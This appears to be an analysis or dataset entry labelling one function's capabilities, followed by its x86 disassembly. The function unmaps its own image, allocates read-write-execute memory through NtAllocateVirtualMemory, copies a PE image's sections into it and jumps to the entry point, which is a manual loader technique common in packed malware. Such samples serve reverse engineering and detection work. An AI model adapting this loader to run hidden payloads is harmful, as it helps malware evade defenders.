Function at 0x408b00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov eax, dword [0x42d040]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x34]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x408b48
xor eax, eax
jmp 0x408d42
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
mov dword [ebp - 0x38], eax
push 5
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x34]
mov dword [ebp - 0x24], eax
movzx ecx, byte [ebp - 0x19]
push ecx
push str.ntdll.dll
lea ecx, [ebp - 0x68]
call fcn.00402570
mov ecx, eax
call fcn.004080e0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x28], eax
movzx edx, byte [ebp - 0x1a]
push edx
push str.NtUnmapViewOfSection
lea ecx, [ebp - 0x80]
call fcn.00401e50
mov ecx, eax
call fcn.00408200
push eax
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
push eax
push 0xffffffffffffffff
call dword [ebp - 0x40]
movzx ecx, byte [ebp - 0x1b]
push ecx
push str.NtAllocateVirtualMemory
lea ecx, [ebp - 0x9c]
call fcn.00401b70
mov ecx, eax
call fcn.00408290
push eax
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x50]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x44], edx
push 0x40
push 0x3000
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x44]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0xc], 0
jne 0x408c31
cmp dword [ebp - 0x2c], 0
jne 0x408c31
xor eax, eax
jmp 0x408d42
cmp dword [ebp - 0xc], 0
jne 0x408c6e
cmp dword [ebp - 0x2c], 0
je 0x408c6e
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x48], edx
push 0x40
push 0x3000
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x48]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0xc], 0
jne 0x408c6e
xor eax, eax
jmp 0x408d42
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov dword [edx + 0x34], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.004087f0
mov edx, dword [ebp - 0x14]
add edx, 0xf8
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x18], 0
jmp 0x408cac
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x18], edx
jge 0x408cec
imul eax, dword [ebp - 0x18], 0x28
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + eax + 0x10]
push edx
imul eax, dword [ebp - 0x18], 0x28
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax + 0x14]
push edx
imul eax, dword [ebp - 0x18], 0x28
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + eax + 0xc]
push edx
mov ecx, dword [ebp - 0x10]
call fcn.004087f0
jmp 0x408ca3
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x4c]
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x24]
je 0x408d33
mov edx, dword [ebp - 0x10]
mov eax, dword [edx]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x24]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0xc]
xor edx, edx
push edx
push ecx
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x50]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + 0x28]
mov dword [ebp - 0x54], edx
call dword [ebp - 0x54]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e1e0
mov esp, ebp
pop ebp
ret 4